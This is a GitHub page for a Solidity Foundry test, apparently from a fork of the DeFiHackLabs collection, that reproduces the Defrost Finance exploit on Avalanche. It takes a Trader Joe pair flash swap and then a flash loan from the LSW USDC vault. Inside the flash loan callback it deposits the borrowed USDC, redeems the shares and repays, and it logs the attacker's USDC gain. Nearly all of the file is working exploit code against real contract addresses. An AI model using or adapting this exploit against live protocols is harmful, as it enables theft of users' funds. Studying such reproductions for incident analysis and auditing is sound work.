forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Defrost_exp.sol
59 lines (49 loc) · 2.31 KB
/
Defrost_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @Analysis
// https://twitter.com/PeckShieldAlert/status/1606276020276891650
// @TX
// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d
interface LSWUSDC {
function maxFlashLoan(address token) external view returns (uint256);
function flashFee(address token, uint256 amount) external view returns (uint256);
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
function deposit(uint256 amount, address to) external returns (uint256);
function redeem(uint256 shares, address receiver, address owner) external;
}
contract ContractTest is Test {
IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);
Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
uint256 flashLoanAmount;
uint256 flashLoanFee;
uint256 depositAmount;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("Avalanche", 24_003_940);
}
function testExploit() public {
flashLoanAmount = LSW.maxFlashLoan(address(USDC));
flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);
Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));
emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);
}
function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));
LSW.redeem(depositAmount, address(this), address(this));
USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee) * 1000 / 997 + 1000);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
USDC.approve(address(LSW), type(uint256).max);
depositAmount = LSW.deposit(flashLoanAmount, address(this));
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}